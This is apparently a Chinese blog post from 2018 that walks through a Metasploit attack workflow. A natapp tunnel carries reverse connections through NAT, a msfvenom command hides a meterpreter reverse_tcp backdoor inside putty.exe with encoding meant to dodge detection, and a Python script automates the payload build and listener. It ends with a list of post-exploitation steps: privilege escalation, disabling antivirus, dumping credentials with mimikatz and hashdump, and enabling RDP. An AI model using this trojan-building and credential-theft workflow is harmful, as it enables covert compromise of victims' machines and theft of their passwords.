基於MetaSploit內網穿透滲透測試
阿新 • • 發佈:2018-03-08
metasploit自己在無聊搗鼓windows滲透的時候想到以往都是基於內網滲透,想要更加自由地進行滲透就需要內網穿透實現可以任意控制網段主機,同時也將端口轉發作為自己的跳板。集成的腳本是考慮到在滲透的時候需要開啟的工具繁多,所以盡可能能夠一鍵開啟工具,並且半自動化部署,可以優化前期的準備。
本地地址填寫127.0.0.1表示本機
本地端口可以填寫空閑端口
authtoken用於開啟natapp服務的code
下載對應版本的natapp工具後,在命令行輸入./natapp authtoken=xxxxxx
打開後就可以看到自己的轉發地址和端口,例如為server.natappfree.cc:38100
這時候就完成了端口轉發,保持服務開啟即可。 比較常用的exe軟件例如瀏覽器,ssh等其他用戶長期開啟軟件,示例中用putty.exe為示範
在終端輸入如下命令
本文分成三個模塊
·利用natapp進行內網穿透
·利用msfvenom生成後門滲透
·半自動化腳本進行優化
利用natapp進行內網穿透
首先需要下載一個工具用於內網穿透,內網穿透主要是利用遠程服務器將tcp連接轉發到自己的電腦上。這樣子就可以實現不同網段內計算機進行tcp連接。
我使用natapp工具進行內網穿透,註冊並且免費獲得自己的隧道。
本地端口可以填寫空閑端口
authtoken用於開啟natapp服務的code
下載對應版本的natapp工具後,在命令行輸入./natapp authtoken=xxxxxx
打開後就可以看到自己的轉發地址和端口,例如為server.natappfree.cc:38100
這時候就完成了端口轉發,保持服務開啟即可。
利用msfvenom生成後門滲透
需要將自己的payload與任意exe文件進行捆綁,當目標點擊使用我們捆綁後的exe後門就會自動反彈shell。
采用windows/meterpreter/reverse_tcp ,這是一個常用的windows tcp反彈payload。
在終端輸入如下命令
msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=8998 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o puttyX.exe -a 表示目標機器架構 --platform 表示系統平臺 -x 表示捆綁軟件 -p表示paylaod lhost和lport 輸入之前內網穿透的ip和port -i 表示編碼次數,編碼次數越多被檢測的風險越大 -o 表示輸出文件的位置和名字
其他參數可以使用msfvenom –h 查看相應參數
當目標打開puttyX.exe後我們在msfconsole上會監聽到,就完成了前期的滲透。
半自動化腳本進行優化
由於msfvenom在每次生成文件都需要指定一系列參數,以及natapp還需要打開,最終還要打開msf進行反彈shell的監聽,我嘗試將三者結合在一起。就編寫了一個簡單的半自動化腳本,只需要輸入要捆綁軟件的位置,natapp轉發的端口,編碼次數,就可以直接生成payload文件,並且自動打開端口轉發和打開msfconsole控制臺。只能說是簡單地集成下。
以下是文件的目錄
natapp.sh和msfconsole.sh寫了一句話命令用於打開natapp和msfconsole
startAttack.py文件主要代碼如下
import os
import webbrowser
while True:
#banner
print(‘‘‘
This Script is for attacking prepare
--------------------------------------------------------------------------
___________ ___ ___ __
\_ _____/__________ / | \_____ ____ | | __ ___________ ______
| __)/ _ \_ __ \ / ~ \__ \ _/ ___\| |/ // __ \_ __ \/ ___/
| \( <_> ) | \/ \ Y // __ \\ \___| <\ ___/| | \/\___ \
\___ / \____/|__| \___|_ /(____ /\___ >__|_ \\___ >__| /____ >
\/ \/ \/ \/ \/ \/ \/
--------------------------------------------------------------------------
‘‘‘)
#Open new terminal :natapp
print"[+]Open NAT service"
os.system(‘open -a Terminal.app natapp.sh‘)
#Generate Payload
source_path=raw_input(‘Program path:‘).strip()
host=‘server.natappfree.cc‘#raw_input(‘IP:‘).strip()
port=raw_input(‘PORT:‘).strip()
code_time=raw_input(‘Code Times(3):‘).strip()
if len(source_path)!=0 and len(port)!=0 and len(port)!=0:
if len(code_time)==0:
code_time=‘3‘
print(
‘‘‘
***************************************
Source_path:%s\n
IP:%s\n
PORT:%s\n
Code Times:%s\n
‘‘‘
)%(source_path,host,port,code_time)
#confirm info
flag=raw_input(‘(Y/N) ‘).strip()
if flag==‘Y‘ or flag==‘y‘:
print‘‘‘
[+]Start Prepare attack. Open all tools. 3.2.1....
‘‘‘
cmd_line=‘msfvenom -a x86 --platform windows -x %s -k -p windows/meterpreter/reverse_tcp lhost=%s lport=%s -e x86/shikata_ga_nai -i %s -b "\\x00" -f exe -o /Users/steven/Desktop/X.exe‘%(source_path,host,port,code_time)
# output = os.popen(cmd_line, ‘r‘)
# print output.read()
os.system(cmd_line)
#Open new terminal :Msfconsole
os.system(‘open -a Terminal.app msfconsole.sh‘)
print‘‘‘
***************************************
Open msfconsole....
Open browser.Url:http://www.objectif-securite.ch/en/ophcrack.php
1.getuid\getsystem
2.background
3.use exploit/windows/local/ask
set session 1
exploit
(i.run killav)
4.load mimikatz(msv / kerberos / wdigest / livessp)
5.run post/windows/gather/smart_hashdump
6.run post/windows/manage/enable_rdp
‘‘‘
# webbrowser.open("http://www.objectif-securite.ch/en/ophcrack.php")
# webbrowser.open("https://www.jianshu.com/p/6535203977c4")
# webbrowser.open("https://natapp.cn")
break
else:
continue
效果如下
這次滲透只是采用了非常傳統的payload進行測試,集成腳本也沒有優化都是隨手擼出來一個。在腳本上肯定還有優化的地方和潛力,payload也可以多添加進行選擇。以上都在日常無聊把玩中順手弄的,如有不足還要多多指教。
基於MetaSploit內網穿透滲透測試